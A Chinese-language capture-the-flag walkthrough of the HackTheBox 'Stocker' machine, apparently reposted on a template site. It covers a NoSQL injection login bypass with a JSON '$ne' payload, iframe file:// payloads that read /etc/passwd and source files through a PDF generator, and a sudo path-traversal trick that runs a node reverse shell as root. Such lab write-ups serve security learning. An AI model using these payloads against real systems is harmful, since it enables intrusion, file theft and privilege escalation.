1200字范文,内容丰富有趣,写作的好帮手!
1200字范文 > HackTheBox Stocker API滥用 CVE--24815获取用户shell 目录遍历提权

HackTheBox Stocker API滥用 CVE--24815获取用户shell 目录遍历提权

时间:2023-06-26 05:43:18

相关推荐

HackTheBox Stocker API滥用 CVE--24815获取用户shell 目录遍历提权

靶机地址:

/machines/Stocker

枚举

使用nmap枚举靶机

nmap -sC -sV 10.10.11.196

机子开放了22,80端口,我们本地解析一下这个域名

echo "10.10.11.196 stocker.htb" >> /etc/hosts

去浏览器访问这个网站

发现只是一个单一的网页,并没有其他的功能,插件也很少

现在扫一下目录和子域名,但是目录并没有扫到什么有用的东西

但是扫描到一个子域名

./gobuster vhost -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -t 50 -u stocker.htb

本地dns解析后去访问这个子域名

echo "10.10.11.196 dev.stocker.htb" >> /etc/hosts

CVE--24815获取用户shell

这是一个登录页面

多半是用nodejs写的

然后我扫描了一下目录,没有什么可以利用的东西

看了就是要想办法去突破这个登录页面了,网站是nodejs写的,然后我去Google上搜索了一下关于nodejssql注入的内容,然后发现了这篇文章

https://book.hacktricks.xyz/pentesting-web/nosql-injection#basic-authentication-bypass

我们可以尝试绕过这个登录页面,启动burp,然后抓登录包

需要把Content-Type标头改为json数据,然后在下面输入payload

POST /login HTTP/1.1Host: dev.stocker.htbContent-Length: 19Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Origin: http://dev.stocker.htbContent-Type: application/jsonUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: http://dev.stocker.htb/loginAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: connect.sid=s%3A0B2QllbQJO8s_zE5apJUSgndnyzmdVi3.USjl%2BHhDYbne%2BUwk2861GQIHQ84D5cK%2FIgJhJl%2Bo5sYConnection: close{"username": {"$ne": null}, "password": {"$ne": null} }

成功登录,我们这是一个购物网站,现在买一个东西看看有没有突破点

提交订单后它会生成一个pdf文件

到这里我测试了很多东西,这个购物网站的功能很少,页面也很少,sql,rce,什么的都测试了一下,还是不行,我会看burp的http历史的时候发现了一个api请求

这是我们提交商品的时候请求的信息,之后就会生成一个pdf文件,我尝试修改了一下title标签,发现生成的pdf文件对应的地方也会变

这里我想到了很多种漏洞的利用,我把pdf下载下来然后用exiftools工具分析后发现了突破点

/ssrf-aws-metadata-leakage//blog/extracting-your-aws-access-keys-through-a-pdf-file

它存在ssrf漏洞,可以通过一些特定的方式来读取本地上的文件

现在我们尝试读取一下靶机上的/etc/passwd文件

<iframe src=file:///etc/passwd height=1050px width=800px</iframe>

成功利用了,现在我们读取一下nginx的默认配置

<iframe src=file:///etc/nginx/nginx.conf height=1050px width=800px</iframe>

这个网站的源代码在/var/www/dev目录下,我们读取一些配置文件看看能不能找到什么有用的东西

<iframe src=file:var/www/dev/index.js height=1050px width=800px</iframe>

通过前面读取/etc/passwd,发现这个机子上有两个普通用户,一个是mongodb,一个是angoose,我们读取了配置文件,发现了一个疑似密码的字符串

但是mongodb用户无法用这个密码登录上,angoose可以

目录遍历提权

在日常查看用户能用sudo命令运行什么工具时,发现了突破点

我们可以用sudo命令运行node工具,执行在/usr/loacl/scripts目录下的文件,但是我们可以用目录遍历来绕过这个限制

我们在这个网站上生成一个nodejs的rev shellcode

/

然后在当前目录下创建一个.js文件,将这些代码粘贴进去即可

touch baimao.js

nc监听端口

回到靶机执行命令

sudo node /usr/local/scripts/../../../home/angoose/baimao.js

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。